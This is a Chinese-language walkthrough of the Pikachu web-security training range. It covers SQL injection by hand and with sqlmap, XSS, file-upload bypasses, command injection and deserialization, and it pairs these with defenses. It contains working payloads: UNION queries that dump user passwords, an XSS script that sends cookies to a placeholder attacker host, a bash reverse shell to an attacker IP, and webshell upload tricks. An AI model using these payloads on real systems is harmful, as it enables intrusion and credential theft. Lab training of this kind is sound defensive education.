Pikachu靶场实战指南:从SQL注入到XSS的Web渗透入门

Pikachu靶场实战指南:从SQL注入到XSS的Web渗透入门 1. 项目概述为什么我们需要Pikachu靶场如果你刚接触网络安全或者想从理论转向实战那么“靶场”这个词对你来说一定不陌生。简单来说靶场就是一个安全的、合法的、专门用来“挨打”的演练环境。它模拟了真实网站中存在的各种安全漏洞让你可以放心大胆地使用各种渗透测试工具和技术去攻击它而不用担心触犯法律或造成实际损害。这就像飞行员在模拟驾驶舱里训练一样所有的操作都是为了让你在遇到真实险情时能从容应对。在众多靶场中Pikachu皮卡丘靶场以其全面性、易用性和中文友好性成为了国内安全学习者和从业者入门Web渗透的首选平台之一。它不像DVWA那样需要复杂的配置也不像某些大型综合靶场那样让新手望而生畏。Pikachu将常见的Web漏洞如SQL注入、XSS跨站脚本、文件上传、RCE命令执行等分门别类地做成一个个独立的、有提示的关卡。你不需要去猜测漏洞在哪里它的核心价值在于让你专注于“漏洞利用技术”本身的学习和练习。通过它你可以系统地理解每一种漏洞的原理、手工利用的完整流程以及自动化工具如sqlmap的配合使用最终形成一套从漏洞发现到利用的肌肉记忆。我之所以推荐从Pikachu开始是因为它提供了一个从“知道”到“做到”的完美桥梁。很多人在学习安全理论时感觉都懂了但一上手就懵。Pikachu的每个漏洞点都设计得非常典型你可以在一个受控的环境里反复尝试、犯错、调试直到彻底掌握。接下来我将带你深入拆解Pikachu靶场的核心价值并手把手教你如何利用它进行一场高效的Web渗透实战演练。2. 靶场环境搭建与初始化配置工欲善其事必先利其器。在开始“攻击”之前我们需要先把“战场”搭建起来。Pikachu靶场的搭建过程相对简单但其中有一些细节配置直接关系到后续实验的顺利进行。2.1 核心组件选择与部署方案Pikachu本质上是一个PHP编写的Web应用因此它的运行依赖于经典的“LAMP”或“LNMP”环境。对于绝大多数学习者我强烈推荐使用集成环境包这能避免你在PHP版本、MySQL扩展、Apache模块等依赖问题上耗费大量时间。在Windows平台phpStudy或XAMPP是绝佳选择在Linux或macOS上Docker部署则是更优雅、更隔离的方案。以最常用的phpStudy为例其部署逻辑清晰它集成了Apache/Nginx、PHP和MySQL你只需要下载Pikachu的源码解压到phpStudy的WWW目录下然后启动服务即可。但这里有一个关键细节Pikachu的数据库连接配置文件通常位于inc/config.inc.php。你需要根据phpStudy中MySQL的实际账号密码默认通常是root/root去修改这个配置文件确保靶场能正确连接到数据库。很多新手卡在第一步就是因为靶场页面能打开但所有涉及数据库的漏洞如SQL注入都无法正常显示数据根源就在这里。注意切勿在公网服务器上部署此类带有已知漏洞的靶场即使有密码保护。最好的实践始终是在本地虚拟机或隔离的网络环境中进行。我通常会在VMware或VirtualBox里安装一个纯净的Windows或Linux虚拟机然后在里面部署phpStudy和Pikachu这样即使操作失误导致系统异常也可以快速回滚快照。2.2 常见安装问题与一次性解决指南根据我帮助大量新手排错的经验90%的安装问题集中在以下几点。你可以对照这个清单快速定位并解决页面访问空白或报错“无法连接数据库”检查点首先确认phpStudy的Apache和MySQL服务都已显示为绿色已启动。然后打开Pikachu的数据库配置文件核对里面的数据库主机通常是localhost或127.0.0.1、端口、用户名和密码是否与phpStudy的MySQL设置完全一致。实操技巧你可以先用phpStudy自带的“MySQL管理器”或第三方工具如Navicat尝试连接MySQL用配置文件里的账号密码测试确保数据库本身是可访问的。部分漏洞页面功能异常如文件上传不成功检查点这通常是目录权限问题。确保Pikachu所在的整个文件夹对Web服务器进程如Apache的www-data用户或SYSTEM具有读写权限。在Windows上可以右键文件夹-属性-安全添加相应的用户并赋予完全控制权。检查点二查看php.ini配置文件确保file_uploads设置为On以及upload_max_filesize和post_max_size的值设置得合理例如10M。页面显示乱码检查点这通常是因为文件编码问题。Pikachu源码默认是UTF-8编码请确保你的代码编辑器或IDE没有以其他编码如GBK保存修改过的文件。同时检查Apache的配置或HTML头部的meta charset标签是否指定为UTF-8。完成上述检查和配置后在浏览器访问http://localhost/pikachu具体路径取决于你的放置位置你应该能看到Pikachu的卡通风格首页上面罗列了所有漏洞模块。点击“安装/初始化数据库”链接如果提示成功那么恭喜你战场已经准备就绪。3. SQL注入漏洞深度实战与手工利用解析SQL注入SQL Injection无疑是Web安全领域最经典、危害也最大的漏洞之一。Pikachu靶场提供了数字型、字符型、搜索型、宽字节等多种注入场景是练习手工注入思维的绝佳场地。我们以最基础的“数字型注入POST”为例来拆解完整的手工渗透流程。记住这个过程的目的是理解攻击者的思考逻辑而不是记住几个Payload。3.1 注入点探测与类型判断进入“SQL注入” - “数字型注入POST”关卡。页面是一个简单的用户ID查询表单。我们的第一步是确认这里是否存在注入点以及是数字型还是字符型。手工探测的核心是构造让SQL语句逻辑发生改变的输入。对于数字型注入后端SQL语句可能形如SELECT * FROM users WHERE id $input。我们尝试在输入框提交1正常查询ID为1的用户。1 and 11如果页面正常返回ID为1的用户信息说明and 11这个条件被数据库执行了。1 and 12这是一个永假条件。如果页面返回异常如空白、报错或查询不到结果则进一步证实注入存在并且极可能是数字型。因为对于数字型语句变成...WHERE id 1 and 12整个条件为假而对于字符型如...WHERE id ‘1 and 12’数据库会尝试将‘1 and 12’这个字符串转换为数字行为可能不一致。在Pikachu这个关卡提交1 and 12后页面会显示“您输入的id不存在请重新输入”这清晰地表明我们注入的SQL逻辑生效了且是数字型注入无需闭合引号。3.2 信息收集联合查询Union Select的艺术确认注入点后下一步是获取数据库的结构信息为提取数据做准备。这里主要用到order by和union select。判断字段数使用order by子句。提交1 order by 1、1 order by 2、1 order by 3... 直到页面报错。在Pikachu这个关卡1 order by 2正常1 order by 3报错说明当前查询结果有2个字段。这是后续union select的前提。探测回显点union select要求前后查询的列数一致。我们已经知道是2列。提交Payload-1 union select 1,2。这里将原查询的id设为-1一个不存在的值是为了让原查询结果为空从而页面直接显示我们union select的结果。页面显示“账号: 1 密码: 2”这说明第一个和第二个字段都是回显点我们可以在其位置替换为我们想查询的信息。获取数据库信息利用数据库的系统表或函数。数据库版本-1 union select version(),2当前数据库名-1 union select database(),2数据库用户-1 union select user(),2在MySQL中执行上述Payload后你会在“账号”位置看到类似“5.7.36-log”、“pikachu”、“rootlocalhost”这样的信息。至此我们完成了对数据库环境的初步侦察。3.3 数据提取从库名、表名到具体数据知道了库名假设是pikachu接下来就是逐层深入。爆表名MySQL中表信息存储在information_schema.tables中。提交Payload-1 union select group_concat(table_name),2 from information_schema.tables where table_schema‘pikachu’group_concat()函数会将所有表名合并成一个字符串返回避免多次查询。执行后你可能会看到httpinfo,member,message,users,xssblind等表名。我们对存储用户信息的users表感兴趣。爆字段名表结构信息在information_schema.columns中。提交Payload-1 union select group_concat(column_name),2 from information_schema.columns where table_schema‘pikachu’ and table_name‘users’返回结果可能包含id,username,password等字段名。提取最终数据万事俱备直接查询-1 union select group_concat(username), group_concat(password) from pikachu.users这个Payload会将users表中所有的用户名和密码分别合并后显示在两个回显点上。至此你已成功通过手工注入获取了敏感数据。实操心得手工注入的过程看似繁琐但它是理解SQL注入本质的必经之路。在这个过程中你实际上是在“盲推”后端SQL语句的结构。每一个步骤的反馈正常、错误、数据回显都是你与数据库的“对话”。熟练掌握这个过程不仅能让你更有效地使用sqlmap等自动化工具因为你能看懂它的逻辑更能让你在面对WAFWeb应用防火墙或一些变形注入时具备手工构造绕过Payload的能力。4. 自动化工具辅助Sqlmap高效利用指南手工注入是基础但在实战或测试大量目标时我们离不开自动化工具。Sqlmap是渗透测试师的“瑞士军刀”它能自动化完成注入点检测、数据库指纹识别、数据提取甚至直接获取服务器权限。在Pikachu靶场使用Sqlmap目的是学习如何与工具协同工作理解它的输出。4.1 基础扫描与数据提取我们继续以“数字型注入POST”为例。首先你需要用浏览器抓取这个请求。使用Burp Suite或浏览器开发者工具F12 - Network提交一次查询例如id1捕获这个HTTP请求。假设捕获到的POST请求关键部分如下POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1 ... id1submit%E6%9F%A5%E8%AF%A2将整个请求保存为一个文本文件比如post.req。然后使用Sqlmap执行sqlmap -r post.req --batch --dbs-r post.req: 从文件加载HTTP请求Sqlmap会自动解析其中的参数。--batch: 以非交互模式运行所有默认选项都选Yes适合自动化。--dbs: 枚举数据库。运行后Sqlmap会先检测注入点确认注入类型如boolean-based blind然后列出所有数据库名其中应该包含pikachu。接下来指定数据库进行更深入的枚举sqlmap -r post.req --batch -D pikachu --tables-D pikachu指定数据库--tables枚举该库下所有表。sqlmap -r post.req --batch -D pikachu -T users --columns-T users指定表--columns枚举该表所有列。sqlmap -r post.req --batch -D pikachu -T users -C username,password --dump-C指定要导出的列--dump将数据转储到本地。执行完毕后所有用户名和密码就会以表格形式保存在Sqlmap的输出目录中。4.2 高级参数与风险规避直接使用--dump可能会一次性导出大量数据产生大量请求日志。在实际环境中我们需要更精细的控制和隐蔽性。限制数据量使用--start和--stop参数。例如--dump --start 1 --stop 10只导出前10行数据。条件导出使用--where。例如--dump --where“id1”只导出id为1的记录。降低速度与隐蔽性--delay 1每次请求延迟1秒--threads 1单线程--randomize-params随机化参数这些可以一定程度上规避简单的IDS/IPS检测。技术选择如果时间盲注Time-based Blind太慢可以尝试指定其他技术如--techniqueB布尔盲注。使用--techniqueBEU来指定优先使用布尔盲注和报错注入。注意事项在Pikachu这样的本地靶场你可以尽情尝试所有参数。但在任何其他环境包括你认为的“测试”环境使用Sqlmap前必须获得明确的书面授权。未经授权的扫描和渗透测试是违法行为。此外即使获得授权也应避免使用--os-shell或--os-pwn这类尝试获取系统shell的高风险功能除非测试范围明确包含此项且已做好应急预案。工具的强大也意味着责任的重大。5. 跨站脚本XSS漏洞利用与防御思维构建XSS跨站脚本攻击是客户端安全的主要威胁其核心在于“信任”。网站信任了用户输入的数据并将其作为代码执行。Pikachu靶场提供了反射型、存储型和DOM型三种XSS场景我们以最直观的“存储型XSS”为例来演示攻击链和危害。5.1 存储型XSS攻击链复现进入“XSS” - “存储型XSS”关卡。这是一个简单的留言板功能。攻击者可以在“留言”框中输入恶意脚本。构造Payload一个最简单的测试Payload是scriptalert(‘XSS’)/script。但现代浏览器有一定防护。我们可以尝试更基础的Payloadimg src1 onerroralert(‘Hacked’)。这个Payload利用图片加载错误事件来执行JS。实施攻击在昵称和留言框都输入上述Payload提交。触发攻击提交后页面会展示所有留言。你会发现你的留言一显示出来浏览器就弹出了警告框“Hacked”。更关键的是所有其他用户访问这个留言板页面时都会触发这个弹窗。因为恶意脚本被永久“存储”在了服务器数据库里每次页面加载都会从数据库读取并渲染执行。5.2 从弹窗到实际危害Cookie窃取演示弹窗只是证明漏洞存在。真正的危害在于攻击者可以利用脚本做更多事情比如窃取用户的Cookie会话凭证。搭建接收平台攻击者需要有一个服务器来接收被盗数据。在靶场环境中我们可以用ncNetcat模拟。在攻击机或本机另一个终端运行nc -lvnp 9999监听9999端口。构造窃取Cookie的PayloadJavaScript可以访问当前页面的Cookiedocument.cookie。我们可以构造一个Payload让受害者的浏览器向攻击者的服务器发送一个携带Cookie的请求。scriptvar img new Image(); img.src ‘http://攻击者IP:9999/steal?cookie‘ encodeURIComponent(document.cookie);/script将这个Payload提交到留言板。模拟受害者访问用另一个浏览器或匿名窗口访问留言板页面。此时作为“受害者”的你在毫无察觉的情况下你的Cookie已经被悄悄发送到了攻击者监听的nc终端上。攻击者拿到这个Cookie很可能就能直接在浏览器中替换Cookie登录你的账户。5.3 防御视角如何避免XSS漏洞通过攻击演练我们更能理解防御的重要性。防御XSS的核心原则是不要信任任何用户输入对所有输出进行编码或过滤。输入验证在服务器端对用户输入进行严格的白名单验证。例如昵称只允许字母数字留言内容过滤掉script、onerror等危险标签和属性。但注意过滤黑名单很容易被绕过如大小写变换、编码、嵌套标签。输出编码这是更有效、更通用的方法。在将用户数据输出到HTML页面时根据上下文进行编码。输出到HTML正文将、、、“、‘等字符转换为HTML实体如-lt;。输出到HTML属性除了上述字符还要对空格和引号进行编码。输出到JavaScript需要进行严格的JavaScript编码。输出到URL进行URL编码。 现代Web框架如React, Vue, Angular及模板引擎如Jinja2, Thymeleaf大多默认开启了输出编码但开发者仍需了解其原理避免错误地使用v-html或dangerouslySetInnerHTML等危险API。内容安全策略CSP这是一个重要的纵深防御措施。通过HTTP头Content-Security-Policy告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。即使页面被注入了恶意脚本如果来源不在白名单内浏览器也不会执行。例如一个严格的CSP可以设置为script-src ‘self’;这表示只允许执行同源当前域名的脚本。在Pikachu靶场练习XSS时不妨同时思考如果我是开发者在哪个环节、用哪种方式可以阻断我刚刚发起的攻击这种攻防结合的思维才是安全学习的精髓。6. 文件上传漏洞绕过前端验证与服务器端防御文件上传功能如果处理不当攻击者可以直接上传Webshell一种恶意脚本从而获取服务器控制权。Pikachu靶场的“文件上传”模块设计了多种绕过姿势非常适合系统性地学习。6.1 前端JS验证绕过进入“不安全的文件上传” - “客户端验证”关卡。尝试上传一个.php后缀的Webshell文件页面会立刻弹出警告“文件类型不正确请重新上传”。查看网页源码或使用F12开发者工具你会发现一段JavaScript代码在检查文件后缀名。这种验证完全在用户浏览器中进行毫无安全性可言。绕过方法极其简单直接使用Burp Suite等代理工具拦截上传请求将文件名从shell.php改为shell.jpg绕过前端检查然后在Burp中再将文件名改回shell.php发送给服务器。更直接的方法是禁用浏览器JavaScript。在浏览器设置中临时禁用JS然后就可以直接上传.php文件了。这个关卡的意义在于警示任何安全措施都不能只依赖客户端实现。服务器端必须进行二次校验。6.2 服务器端MIME类型与内容校验绕过进入“服务器端验证”相关关卡。服务器端验证通常更强大常见的有检查Content-TypeMIME类型浏览器上传文件时会在HTTP头中附带该类型。例如.jpg图片的Content-Type是image/jpeg。服务器可能只允许特定的MIME类型。检查文件内容头Magic Number通过读取文件开头的几个字节如FF D8 FF E0是JPEG来判断真实类型。检查文件扩展名黑名单或白名单方式。绕过技巧MIME类型绕过使用Burp拦截上传请求将Content-Type: application/x-php修改为Content-Type: image/jpeg即可。文件内容绕过对于检查文件头的场景可以制作一个图片马。在命令行使用copy命令Windows或cat命令Linux将一个正常的图片和一个PHP Webshell合并copy normal.jpg /b shell.php /b webshell.jpg。生成的文件以.jpg结尾文件头是图片格式能通过内容检查但服务器如果错误地将其解析为PHP例如通过文件包含漏洞后面的PHP代码仍会被执行。扩展名绕过黑名单绕过尝试.php5,.phtml,.phps,.php7等变种或利用系统特性如.php.Windows下末尾点会被自动去除、.php%20空格、.php::DATANTFS数据流等。大小写/双写绕过如果黑名单是str_ireplace(‘php’, ‘’, $filename)可以尝试.pHp或.pphphp替换掉中间的php后剩下的字符又组合成了php。解析漏洞依赖于服务器配置。例如老版本IIS的目录名/*.php解析漏洞Apache的文件.php.xxx如果xxx未被识别会向前寻找已知后缀等。这些在Pikachu中可能没有直接模拟但需要了解。6.3 防御策略白名单与文件隔离从防御角度看一个安全的文件上传功能应遵循以下原则使用白名单只允许.jpg,.png,.gif等有限的、明确的扩展名。黑名单永远防不胜防。检查文件内容使用可靠的库如getimagesize()验证图片文件的有效性而不仅仅是文件头。重命名文件上传后使用随机生成的文件名如UUID替换用户上传的文件名并保留原始扩展名。这可以防止攻击者直接访问或猜测文件路径。控制文件权限确保上传目录没有执行权限。在Apache/Nginx配置中将上传目录的脚本执行权限关闭。隔离存储最好将上传的文件存储在独立的域名或路径下通过后端程序代理访问而不是直接提供静态文件访问。或者使用云存储服务如OSS、COS彻底分离Web服务器和文件存储。在Pikachu靶场练习时每成功绕过一种防御都要问自己作为开发者如何修补这个漏洞这种“攻”与“防”的思维切换能让你对漏洞的理解更加立体和深刻。7. 命令执行与反序列化漏洞实战剖析这两类漏洞往往能导致更直接的服务器沦陷危害等级极高。Pikachu靶场也提供了相应的实验环境。7.1 命令执行RCE漏洞利用进入“RCE” - “exec ‘ping’”关卡。这是一个模拟的ping命令功能用户输入IP服务器执行ping命令。如果后端代码直接拼接用户输入到系统命令中例如exec(‘ping -c 4 ’ . $_GET[‘ip’])就会产生漏洞。利用方式基础命令注入输入127.0.0.1; whoami。在Linux/Unix中分号;用于分隔多条命令。这样服务器实际执行的命令是ping -c 4 127.0.0.1; whoami会先执行ping然后执行whoami显示当前系统用户。同理可以使用、、|、||等连接符。管道符利用输入127.0.0.1 | cat /etc/passwd。管道符|会将前一个命令的输出作为后一个命令的输入。如果ping命令有输出可能会干扰结果但cat /etc/passwd命令仍会执行。反弹Shell进阶这是获取交互式控制权的方法。在攻击机上监听一个端口nc -lvnp 4444。然后在靶场输入框提交127.0.0.1; bash -i /dev/tcp/攻击者IP/4444 01。这个命令会让靶场服务器启动一个bash并将其输入输出重定向到攻击机的4444端口从而建立一个反向Shell连接。注意事项命令执行漏洞的利用高度依赖于操作系统Windows/Linux和服务器环境。在实战中需要先判断系统类型如通过ping命令的差异或执行uname -a再选择合适的Payload。同时要注意命令中的空格、引号等特殊字符可能会被过滤需要尝试编码或使用替代符号如${IFS}代替空格。7.2 反序列化漏洞原理浅析进入“反序列化漏洞”关卡。这个漏洞理解起来稍复杂。简单来说序列化是把一个对象的状态属性值转换成可存储或传输的格式字符串反序列化则是将这个字符串还原成对象。漏洞产生于当程序反序列化一个用户可控的数据时如果该数据被恶意构造在反序列化过程中会自动调用对象的一些特殊方法如PHP的__wakeup(),__destruct()攻击者可以在这些方法中嵌入恶意代码。Pikachu的关卡通常提供了一个简单的类定义和一个反序列化入口。你的任务就是分析源代码找到包含__wakeup()或__destruct()等魔术方法的类。理解这些方法被调用时会执行什么操作例如可能会执行echo一个属性或者调用system()函数。序列化一个该类的对象并将对象的属性设置为恶意Payload例如将system()要执行的命令作为属性值。将这个序列化后的字符串提交给反序列化接口。由于反序列化漏洞需要结合代码审计Pikachu的关卡通常给出了提示或部分代码。练习的关键是理解“用户可控的序列化字符串 - 被还原成对象 - 自动触发魔术方法 - 执行恶意代码”这条链。防御反序列化漏洞非常困难最佳实践是永远不要反序列化不可信的数据或者使用只允许基本数据类型的、安全的序列化格式如JSON。8. 其他常见漏洞与综合渗透思路Pikachu靶场还涵盖了CSRF、SSRF、目录遍历、越权访问等常见漏洞每一个都值得深入练习。CSRF跨站请求伪造核心是“利用用户的登录状态在用户不知情的情况下发起非本意的请求”。在Pikachu的CSRF关卡你需要构造一个恶意页面其中包含一个自动提交的表单目标是对靶场进行修改密码等操作。防御措施主要是使用CSRF Token每次表单提交携带一个随机令牌由服务器校验或验证Referer头。SSRF服务器端请求伪造让服务器端应用作为代理去请求攻击者指定的内部或外部资源。常用于探测或攻击内网服务。Pikachu的SSRF关卡可能让你通过一个URL参数让服务器去读取本地文件file://协议或访问内网IP。防御上需要对用户输入的URL进行严格的协议、域名和IP地址白名单过滤。越权访问分为水平越权访问同级别其他用户的数据和垂直越权低权限用户访问高权限功能。练习时需要仔细对比不同身份用户如普通用户vs管理员的请求参数、Cookie、URL路径差异尝试修改这些标识来达到越权目的。防御的关键是在每个业务接口的服务器端都对当前会话用户的权限进行校验。综合渗透思路真实的渗透测试很少只依赖一个漏洞。Pikachu靶场各个模块虽然是独立的但你可以尝试模拟一个连贯的攻击链。例如通过一个SQL注入漏洞获取后台管理员的账号密码可能被加密需要破解或绕过。利用获取的凭证登录后台。在后台寻找文件上传点上传一个Webshell。通过Webshell执行命令进一步探测内网提升权限。这种将多个漏洞串联起来的思维是渗透测试工程师的核心能力。Pikachu为你提供了安全的沙盒让你可以无后顾之忧地反复演练这些技术组合直到它们成为你的本能反应。记住所有的学习和练习最终都是为了更好地防御。